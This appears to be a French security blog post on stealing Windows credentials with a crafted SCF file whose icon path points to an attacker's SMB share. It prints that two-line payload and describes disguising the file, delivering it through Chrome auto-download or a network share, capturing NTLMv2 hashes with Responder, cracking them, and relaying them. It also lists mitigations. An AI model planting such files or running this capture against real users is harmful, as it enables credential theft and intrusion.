Skip to content

Vol d’identifiants Windows via fichier SCF

Dans cet article je vais vous présenter une attaque qui exploite le traitement des fichiers au format SCF par les systèmes d’exploitation Windows.

Les scripts SCF (Windows Explorer Command File)  sont assez vieux, puisque utilisés dés Windows 98. Ils permettent d’exécuter des commandes dans le contexte d’Explorer, le navigateur de fichier Windows. Par exemple afin d’automatiser une navigation dans le système de fichier, la modification des droits sur un fichier ou la manipulation de fichiers. Ces script sont toujours pris en compte et traités par les systèmes d’exploitation Windows récents.

Exploitation des fichiers SCF sous Windows

L’attaque que je vous présente aujourd’hui profite donc de la manière dont sont traités ces fichiers afin de procéder à un vol des identifiants utilisateur Windows.
Les fichiers SCF permettent entre autre de se voir définir un icône au travers une directive telle que celle-ci :

[Shell]
IconFile=Chemin\vers\icone

Avec cette directive, la navigateur de fichier Windows essaiera de charger l’image indiquée dés l’ouverture du répertoire contenant le fichier SCF, puisque c’est à ce moment là que l’icône du fichier est utile . Il est important de noter pour la suite que l’utilisateur n’a pas besoin de cliquer sur le fichier, uniquement d’ouvrir le répertoire le contenant. L’astuce qui entraine la possibilité d’attaque consiste à mettre, à la place d’un chemin local pour l’emplacement de l’icône, un emplacement distant, et plus précisément un chemin UNC vers un partage SMB distant, tel que celui-ci :

[Shell]
IconFile=\\192.168.56.102\icon

Dans ce contexte, le navigateur de fichier Windows va tenter d’aller chercher l’icône à l’emplacement indiqué, c’est à dire sur un partage SMB distant. Dans le cadre d’une attaque malveillante, ce partage SMB sera sur une machine contrôlée par l’attaquant.

Au passage, il est à noter que lorsque la requête SMB est automatiquement émise par la victime, celle-ci comporte également les éléments permettant une authentification de l’utilisateur, ceci afin d’être directement authentifié sur la cible SMB. Autrement dit, et dans le cas d’une attaque malveillante dans laquelle l’icône pointe vers un partage SMB contrôlé par l’attaquant, les éléments d’authentification de l’utilisateur sont envoyés automatiquement à l’attaquant. Voici la démonstration de cette attaque en vidéo :

J’ai ici utilisé Responder pour émuler un service SMB et capturer automatiquement la demande d’authentification. On voit ici deux choses :

  • la requête SMB est exécutée dés l’ouverture du dossier contenant le fichier SCF;
  • la requête SMB reçue par l’attaquant contient les éléments d’authentification de la victime (nom d’utilisateur et hash NTLMv2).

Pour ne rien arranger, il s’avère que les fichiers SCF sont automatiquement téléchargés par le navigateur Google Chrome, alors que pour la grande majorité des autres types de fichiers, une confirmation utilisateur est demandée.

Enfin, un fichier nommé « image.jpg.scf » apparaitra sous le nom de « image.jpg » lorsque les navigateurs de fichier Windows seront configurés pour ne pas afficher les extensions de fichier, ce qui est le cas par défaut. On aura donc un fichier qui n’éveillera aucun soupçon, notamment lorsqu’il sera déposé dans un partage de fichier utilisé par plusieurs personnes.
A ce propos, on peut imaginer deux types de déploiement :

  • faire télécharger le fichier SCF via le web (avec téléchargement automatique si utilisation de Google Chrome);
  • déposer le fichier SCF dans un partage réseau de l’entreprise accessible par l’attaquant (cas d’une intrusion ou d’un pentest interne).

Dans le cas le plus critique, un attaquant peut tout simplement utiliser cette vulnérabilité afin de dérober des identifiants Windows au travers Internet, notamment avec le comportement de téléchargement automatique de Google Chrome (qui est assez étrange).

Le cas du déploiement d’un fichier SCF malveillant dans un partage réseau est assez critique également car plusieurs personnes seront alors susceptibles d’ouvrir le répertoire partagé concetenant ce fichier SCF malveillant, il s’agit d’un scénario d’attaque crédible pour les intrusions internes, dans lesquels le pentester est déjà présent sur le réseau de sa cible.

Les antivirus et navigateurs ne semblent pour l’instant pas prêter attention à ces fichiers SCF malveillants, mais on peut s’attendre à un changement de situation après l’apparition de cette attaque.

Pour aller plus loin

Les hashs récupérés sont des hashs NTLMv2, le cracking de hashs NTLMv2 n’est pas trivial mais est loin d’être inaccessible, l’utilisation de l’outil hashcat qui profite notamment de la puissance des GPU rend relativement accessible ce cracking de hash NTLMv2 (en comparaison au cracking de hash LM/NTLM qui lui est considéré comme trivial). Un attaquant pourra donc procéder à un cracking des hashs NTLMv2 récupérés une fois sont attaque terminée.

Également, il sera possible d’utiliser les hashs NTLMv2 dans le cadre d’une attaque SMB Relay, qui consiste à réutiliser information NTLMv2 obtenues pour s’authentifier vers d’autres services utilisant l’authentification NTLMv2 en se faisant passer pour la victime, il s’agit d’un cas d’exploitation hautement probable lors d’une intrusion interne, moins pour les exploitations depuis internet, les services Cloud utilisant rarement ce type d’authentification, exceptions faites des services de type Outlook ou Office 365.

Les recommandations

Les recommandations pour éviter ce type d’attaque sont les suivantes :

  • désactiver le téléchargement automatique de fichiers dans Google Chrome.
  • gérer les flux réseaux afin d’éviter que des requêtes SMB ne partent vers internet ou vers des réseaux qui ne sont pas de confiance;
  • interdire le stockage de fichier SCF, notamment à l’aide des antivirus qui peuvent procéder à un blacklistage par extension de fichier.

Sources :

  • http://dotwhat.net/file/extension/scf/838
  • https://dl.packetstormsecurity.net/papers/general/stealingwin-creds.pdf
  • https://pen-testing.sans.org/blog/2013/04/25/smb-relay-demystified-and-ntlmv2-pwnage-with-python
Partager :
Published inAttaques

Be First to Comment

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *